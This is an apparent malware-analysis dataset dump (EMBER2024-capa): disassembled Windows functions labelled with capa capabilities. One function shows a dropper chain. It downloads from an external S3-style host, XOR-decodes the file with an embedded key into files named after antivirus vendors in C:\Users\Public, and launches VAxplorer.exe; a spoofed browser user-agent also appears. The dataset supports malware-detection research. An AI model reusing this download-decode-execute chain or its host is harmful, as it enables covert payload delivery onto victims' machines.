joyce8/EMBER2024-capa huggingface dataset:
Function at 0x455ae0
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
mov ebp, dword [eax + 0x2c]
mov ebx, dword [ebp]
mov ecx, dword [ebx + 0x1ec]
push esi
push edi
mov esi, ecx
test ecx, ecx
jne 0x455afd
mov esi, dword [eax + 0x28]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x20]
push ecx
push edx
call fcn.00430f90
push edx
push eax
call fcn.00430fc0
mov ecx, eax
mov eax, edx
mov dword [esp + 0x24], eax
mov eax, esi
cdq
add esp, 0x10
mov edi, eax
sub edi, ecx
mov ecx, dword [esp + 0x14]
mov esi, edx
sbb esi, ecx
cmp dword [ebx + 0x1e0], 0
je 0x455b6a
mov edx, dword [ebp + 0x184]
mov eax, dword [ebp + 0x180]
push edx
push eax
call fcn.00430f90
push edx
push eax
call fcn.00430fc0
mov ecx, eax
mov eax, dword [ebx + 0x1e0]
mov ebp, edx
cdq
add esp, 0x10
sub eax, ecx
sbb edx, ebp
cmp esi, edx
jl 0x455b6a
jg 0x455b6e
cmp edi, eax
jae 0x455b6e
mov eax, edi
mov edx, esi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x456e50
Capabilities:
Get hostname

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push esi
mov byte [esi], 0
call dword [sym.imp.WS2_32.dll_gethostname]
mov byte [esi + edi - 1], 0
test eax, eax
jne 0x456e82
push 0x2e
push esi
call fcn.0041ab60
add esp, 8
test eax, eax
je 0x456e80
mov byte [eax], 0
xor eax, eax
pop edi
pop esi
ret

Function at 0x456f60
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
sub esp, 0x24
mov eax, dword [0x47dc68]
xor eax, esp
mov dword [esp + 0x20], eax
push ebp
mov ebp, dword [esp + 0x30]
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x45700a
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
push esi
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
lea esi, [esp + 0x20]
mov eax, ebp
mov byte [esp + 0x14], 8
mov byte [esp + 0x15], 2
mov dword [esp + 0x18], 0x6601
mov dword [esp + 0x1c], 8
call fcn.00456ed0
mov ecx, esi
push 8
push ecx
call fcn.0045bfc0
mov ecx, dword [esp + 0x10]
add esp, 8
lea edx, [esp + 0x10]
push edx
push 0
push 0
push 0x14
lea eax, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
pop esi
test eax, eax
jne 0x45701c
mov edx, dword [esp + 4]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0040e0a0
add esp, 0x24
ret
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov dword [edi], ecx
mov edx, dword [eax + 4]
mov eax, dword [esp + 8]
push eax
lea ecx, [esp + 0xc]
push ecx
push edi
push 0
push 0
mov dword [edi + 4], edx
mov edx, dword [esp + 0x20]
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov ecx, dword [esp + 4]
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [esp + 0x24]
pop ebp
xor ecx, esp
mov eax, 1
call fcn.0040e0a0
add esp, 0x24
ret
Function at 0x4571a0
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x24]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4571b0
sub eax, edx
mov esi, eax
lea ebp, [esi + esi]
push ebp
call dword [0x47ee7c]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4571d9
pop edi
pop esi
pop ebp
lea eax, [ebx + 0x1b]
pop ebx
add esp, 0xc
ret
mov ecx, ebx
call fcn.00457170
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, dword [esp + 0x28]
test eax, eax
je 0x45725f
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push 0x8002
push edx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x457252
mov eax, dword [esp + 0x10]
push 0
push ebp
push ebx
push eax
mov dword [esp + 0x28], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
mov edx, dword [esp + 0x10]
push 0
lea ecx, [esp + 0x1c]
push ecx
push esi
push 2
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov ecx, dword [esp + 0x14]
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov dword [esi + 0x10], eax
push ebx
mov byte [esi + 0x14], al
call dword [0x47ee80]
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret

Function at 0x4599d0
Capabilities:
Read file on windows

Disassembly:
push edi
mov edi, eax
mov eax, dword [esi]
cmp dword [eax + 4], 3
jne 0x4599f2
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x4599e6
xor eax, eax
pop edi
ret
mov eax, dword [eax + 8]
push eax
push edi
push 1
push ebx
call ecx
jmp 0x459a22
cmp dword [esi + 8], 0
jne 0x459a15
mov ecx, dword [eax + 8]
push 0x46bbe4
push ecx
call fcn.0040e690
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x459a15
or eax, 0xffffffff
pop edi
ret
mov edx, dword [esi + 8]
push edx
push edi
push 1
push ebx
call fcn.0040ecd1
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x459a44
mov eax, dword [esi + 8]
test eax, eax
je 0x459a3e
push eax
call fcn.0040e550
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov ecx, dword [eax]
mov dword [esi], ecx
mov eax, edi
pop edi
ret
Function at 0x45cc30
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x14]
lea eax, [ecx + eax*2 + 0xc]
push edi
push eax
call dword [0x47ee7c]
mov edi, eax
add esp, 4
test edi, edi
jne 0x45cc55
pop edi
pop esi
pop ecx
ret
lea eax, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], eax
mov edx, dword [esi + 0xc]
push ebx
add edx, eax
push ebp
mov ebp, dword [esp + 0x20]
mov dword [edi + 8], edx
cmp ebp, dword [esi + 0x10]
jbe 0x45cc9c
push eax
mov eax, dword [esi]
call eax
mov ecx, dword [esp + 0x20]
mov edx, dword [edi + 4]
mov eax, dword [esi + 4]
push ebp
push ecx
push edx
call eax
mov ebx, dword [edi + 8]
mov ecx, dword [edi + 4]
add ebx, dword [esi + 0xc]
mov edx, dword [esi + 8]
push ecx
push ebx
call edx
mov ebp, dword [esi + 0x14]
add esp, 0x18
jmp 0x45cca0
mov ebx, dword [esp + 0x1c]
mov eax, dword [edi + 4]
mov ecx, dword [esi]
push eax
call ecx
mov edx, dword [edi + 8]
mov eax, dword [esi]
push edx
call eax
add esp, 8
mov dword [esp + 0x10], 0
test ebp, ebp
jbe 0x45ccfe
mov dword [esp + 0x10], ebp
mov cl, byte [ebx]
xor cl, 0x36
mov byte [esp + 0x18], cl
mov eax, dword [edi + 4]
mov ecx, dword [esi + 4]
push 1
lea edx, [esp + 0x1c]
push edx
push eax
call ecx
mov dl, byte [ebx]
xor dl, 0x5c
mov byte [esp + 0x24], dl
mov ecx, dword [edi + 8]
mov edx, dword [esi + 4]
push 1
lea eax, [esp + 0x28]
push eax
push ecx
inc ebx
call edx
add esp, 0x18
sub ebp, 1
jne 0x45ccc3
mov eax, dword [esp + 0x10]
pop ebp
pop ebx
cmp eax, dword [esi + 0x10]
jae 0x45cd41
lea esp, [esp]
mov ecx, dword [edi + 4]
mov edx, dword [esi + 4]
push 1
push 0x4760d5
push ecx
call edx
mov eax, dword [edi + 8]
mov ecx, dword [esi + 4]
push 1
push 0x4760d6
push eax
call ecx
mov eax, dword [esp + 0x20]
inc eax
add esp, 0x18
mov dword [esp + 8], eax
cmp eax, dword [esi + 0x10]
jb 0x45cd10
mov eax, edi
pop edi
pop esi
pop ecx
ret

Function at 0x45e585
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x45e5b6
call fcn.00410568
mov dword [eax], esi
call fcn.00410555
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0040e4a3
add esp, 0x14
push 0x16
pop eax
jmp 0x45e60b
test dword [ebp + 0xc], 0xfffffff9
jne 0x45e592
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x45e5e3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041057b
pop ecx
call fcn.00410555
mov eax, dword [eax]
jmp 0x45e60b
test al, 0x10
jne 0x45e609
test al, 1
je 0x45e609
test byte [ebp + 0xc], 2
je 0x45e609
call fcn.00410568
mov dword [eax], 5
call fcn.00410555
mov dword [eax], 0xd
jmp 0x45e5da
xor eax, eax
pop esi
pop ebp
ret
Function at 0x45f190
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x47dc68]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [ebp + 8], 0
je 0x45f1c4
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x45f1c4
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, dword [ebp + 0xc]
movsx eax, byte [edx]
test eax, eax
jne 0x45f1d3
jmp 0x45f2d4
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x118], edx
mov eax, dword [ebp - 0x118]
movsx ecx, byte [eax]
test ecx, ecx
je 0x45f225
mov edx, dword [ebp - 0x118]
movsx eax, byte [edx]
cmp eax, 0x2f
je 0x45f20b
mov ecx, dword [ebp - 0x118]
movsx edx, byte [ecx]
cmp edx, 0x5c
jne 0x45f214
mov eax, dword [ebp - 0x118]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x118]
add ecx, 1
mov dword [ebp - 0x118], ecx
jmp 0x45f1e2
mov edx, dword [ebp - 4]
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x45f280
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x220]
push eax
call fcn.0040ed10
add esp, 0xc
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp + 0xc]
mov byte [ebp + ecx - 0x220], 0
lea edx, [ebp - 0x220]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0045f190
add esp, 8
mov ecx, dword [ebp - 0x114]
add ecx, 1
mov dword [ebp - 0x114], ecx
mov byte [ebp - 0x110], 0
cmp dword [ebp + 8], 0
je 0x45f2a0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x110]
push eax
call fcn.0040f300
add esp, 8
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x110]
push edx
call fcn.0040f310
add esp, 8
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x45f2d4
push 0
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040e0a0
mov esp, ebp
pop ebp
ret
Function at 0x45f570
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
imul eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0x14]
movzx edx, byte [ecx]
test edx, edx
je 0x45f5bf
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x45f5b5
mov edx, dword [ebp + 0x14]
mov byte [edx + 8], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
div dword [ebp + 0xc]
jmp 0x45f619
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0x1c]
add ecx, dword [ebp - 8]
mov edx, dword [ebp + 0x14]
cmp ecx, dword [edx + 0x18]
jbe 0x45f5df
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x14]
mov edx, dword [eax + 0x18]
sub edx, dword [ecx + 0x1c]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx + 0x14]
mov eax, dword [ebp + 0x14]
add edx, dword [eax + 0x1c]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040ed10
add esp, 0xc
mov edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0x1c]
add ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x14]
mov dword [edx + 0x1c], ecx
mov eax, dword [ebp - 4]
xor edx, edx
div dword [ebp + 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x45fc00
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
movsx eax, byte [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor eax, dword [ecx]
and eax, 0xff
mov edx, dword [ebp + 8]
mov ecx, dword [edx]
shr ecx, 8
xor ecx, dword [eax*4 + 0x477ad0]
mov edx, dword [ebp + 8]
mov dword [edx], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
and ecx, 0xff
mov edx, dword [ebp + 8]
add ecx, dword [edx + 4]
mov eax, dword [ebp + 8]
mov dword [eax + 4], ecx
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
imul edx, edx, 0x8088405
add edx, 1
mov eax, dword [ebp + 8]
mov dword [eax + 4], edx
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
shr edx, 0x18
mov eax, dword [ebp + 8]
xor edx, dword [eax + 8]
and edx, 0xff
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x477ad0]
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], eax
pop ebp
ret
Function at 0x45fc80
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
jne 0x45fc90
xor eax, eax
jmp 0x45fe2d
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
mov dword [ebp + 8], eax
cmp dword [ebp + 0x10], 8
jb 0x45fdee
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x477ad0]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x477ad0]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
add edx, 1
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0xc]
movzx ecx, byte [eax]
xor ecx, dword [ebp + 8]
and ecx, 0xff
mov edx, dword [ebp + 8]
shr edx, 8
xor edx, dword [ecx*4 + 0x477ad0]
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x477ad0]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x477ad0]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
add edx, 1
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0xc]
movzx ecx, byte [eax]
xor ecx, dword [ebp + 8]
and ecx, 0xff
mov edx, dword [ebp + 8]
shr edx, 8
xor edx, dword [ecx*4 + 0x477ad0]
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x477ad0]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x477ad0]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
add edx, 1
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0x10]
sub eax, 8
mov dword [ebp + 0x10], eax
jmp 0x45fc99
cmp dword [ebp + 0x10], 0
je 0x45fe27
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x477ad0]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0x10]
sub edx, 1
mov dword [ebp + 0x10], edx
jne 0x45fdf4
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
pop ebp
ret
Function at 0x465bf0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x465c0a
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 4], 0xffffffff
je 0x465c14
mov eax, 0x1000000
jmp 0x465cec
mov edx, dword [ebp - 0x18]
add edx, 0x140
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, dword [ebp - 0x18]
add eax, 0x140
push eax
call fcn.0040e290
add esp, 4
mov ecx, dword [ebp - 0x18]
mov dl, byte [ecx + eax + 0x13f]
mov byte [ebp - 5], dl
movsx eax, byte [ebp - 5]
cmp eax, 0x5c
je 0x465c70
movsx ecx, byte [ebp - 5]
cmp ecx, 0x2f
je 0x465c70
push 0x477f68
mov edx, dword [ebp - 0x18]
add edx, 0x140
push edx
call fcn.0040f310
add esp, 8
cmp dword [ebp + 0x10], 1
jne 0x465ca4
push 1
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x10], eax
xor ecx, ecx
cmp dword [ebp - 0x10], 0xffffffff
setne cl
mov byte [ebp - 0x11], cl
movzx edx, byte [ebp - 0x11]
test edx, edx
jne 0x465ca4
mov eax, 0x2000000
jmp 0x465cec
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0045f7c0
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x465cca
mov eax, dword [ebp - 0xc]
jmp 0x465cec
mov ecx, dword [ebp - 4]
push ecx
call fcn.004650b0
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x465cea
mov eax, 0x200
jmp 0x465cec
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x466610
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
call fcn.004665a0
add esp, 4
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.0040e290
add esp, 4
mov dword [ebp - 0x14], eax
push 0x478324
mov edx, dword [ebp + 8]
push edx
call fcn.0040e690
add esp, 8
mov dword [ebp - 0xc], eax
push 0x478328
mov eax, dword [ebp + 0xc]
push eax
call fcn.0040e690
add esp, 8
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.0040e9c9
add esp, 4
test eax, eax
jne 0x4666d0
mov edx, dword [ebp - 0xc]
push edx
push 1
push 1
lea eax, [ebp - 1]
push eax
call fcn.0040ecd1
add esp, 0x10
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.0040e9c9
add esp, 4
test eax, eax
jne 0x4666ce
mov eax, dword [ebp - 8]
cdq
idiv dword [ebp - 0x14]
mov eax, dword [ebp + 0x10]
mov cl, byte [eax + edx]
mov byte [ebp - 0xd], cl
movsx edx, byte [ebp - 1]
movsx eax, byte [ebp - 0xd]
xor edx, eax
mov byte [ebp - 1], dl
mov ecx, dword [ebp - 0x30]
push ecx
push 1
push 1
lea edx, [ebp - 1]
push edx
call fcn.0040e809
add esp, 0x10
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
jmp 0x466660
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.0040e550
add esp, 4
mov edx, dword [ebp - 0x30]
push edx
call fcn.0040e550
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x4666f0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x47dc68]
xor eax, ebp
mov dword [ebp - 8], eax
push 0x4764cd
mov eax, dword [ebp + 0xc]
push eax
call fcn.00466550
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x466724
xor eax, eax
jmp 0x46681f
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.00461040
add esp, 8
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
je 0x466756
mov eax, dword [ebp - 4]
push eax
call fcn.00463960
add esp, 4
xor eax, eax
jmp 0x46681f
lea ecx, [ebp - 0x138]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 4]
push edx
call fcn.00465d00
add esp, 0xc
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
je 0x46678d
mov eax, dword [ebp - 4]
push eax
call fcn.00463960
add esp, 4
xor eax, eax
jmp 0x46681f
mov ecx, dword [ebp - 0x138]
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x144], 0
jmp 0x4667b4
mov edx, dword [ebp - 0x144]
add edx, 1
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x144]
cmp eax, dword [ebp - 0x140]
jge 0x466804
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.00465d00
add esp, 0xc
mov dword [ebp - 0x13c], eax
lea ecx, [ebp - 0x134]
push ecx
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.00466570
add esp, 0xc
mov dword [ebp - 0x13c], eax
jmp 0x4667a5
mov ecx, dword [ebp - 4]
push ecx
call fcn.00463960
add esp, 4
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040e0a0
mov esp, ebp
pop ebp
ret
Function at 0x466830
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x467502
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x47dc68]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x5c]
call fcn.00466aa0
mov dword [ebp - 4], 0
push str.C:UsersPublicmacfee.dat
lea ecx, [ebp - 0x78]
call fcn.004011b0
mov byte [ebp - 4], 1
push str.https:__s3.kzwr.xyz_kzwr_3_34588ae2f873455ca30d56222100d9173lvuje24.aes_X_Amz_Expires86400response_content_dispositionattachment_3B_20filename_3D_226318.zip_22X_Amz_AlgorithmAWS4_HMAC_SHA256X_Amz_Credential6pEiT3fEmRa9JIT6P2lJ_2F20231019_2Fus_east_1_2Fs3_2Faws4_requestX_Amz_Date20231019T091450ZX_Amz_SignedHeadershostX_Amz_Signaturec4faf3384085061742162021e6a25a22794a8a3a4caff3e7901c8b72ab5adc0a
lea ecx, [ebp - 0x94]
call fcn.004011b0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x94]
push ecx
lea ecx, [ebp - 0x5c]
call fcn.00466ca0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x94]
call fcn.004011f0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x78]
call fcn.004011f0
lea ecx, [ebp - 0x5c]
call fcn.00466a10
push str.saMUNpgctRF6kxrBXQ8jyTl52c59qumz
push str.C:UsersPublickingsoft.dat
push str.C:UsersPublicmacfee.dat
call fcn.00466610
add esp, 0xc
push str.C:UsersPublickingsoft.dat
push str.C:UsersPublic
call fcn.004666f0
add esp, 8
push 0
push 0
push 0x4764ce
push str.C:UsersPublicVAxplorerVAxplorer.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
call fcn.00466b10
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040e0a0
mov esp, ebp
pop ebp
ret

Function at 0x4669b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040e809
add esp, 0x10
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x466b80
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x47dc68]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x24]
add ecx, 0x10
call fcn.00401290
push eax
push 0x2712
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + 4]
push ecx
call fcn.004244e0
add esp, 0xc
push str.Mozilla_5.0__compatible__MSIE_9.0__Windows_Phone_OS_7.5__Trident_5.0__IEMobile_9.0__HTC__Titan_
lea ecx, [ebp - 0x20]
call fcn.004011b0
lea ecx, [ebp - 0x20]
call fcn.00401290
push eax
push 0x2722
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + 4]
push eax
call fcn.004244e0
add esp, 0xc
push 5
push 0x44
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + 4]
push edx
call fcn.004244e0
add esp, 0xc
push 1
push 0x34
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + 4]
push ecx
call fcn.004244e0
add esp, 0xc
push 1
push 0x63
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + 4]
push eax
call fcn.004244e0
add esp, 0xc
push 0
push 0x2f
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + 4]
push edx
call fcn.004244e0
add esp, 0xc
push 0x4669e0
push 0x4e2b
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + 4]
push ecx
call fcn.004244e0
add esp, 0xc
mov edx, dword [ebp - 0x24]
push edx
push 0x2711
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + 4]
push ecx
call fcn.004244e0
add esp, 0xc
push 0
push 0x40
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + 4]
push eax
call fcn.004244e0
add esp, 0xc
push 0
push 0x51
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + 4]
push edx
call fcn.004244e0
add esp, 0xc
lea ecx, [ebp - 0x20]
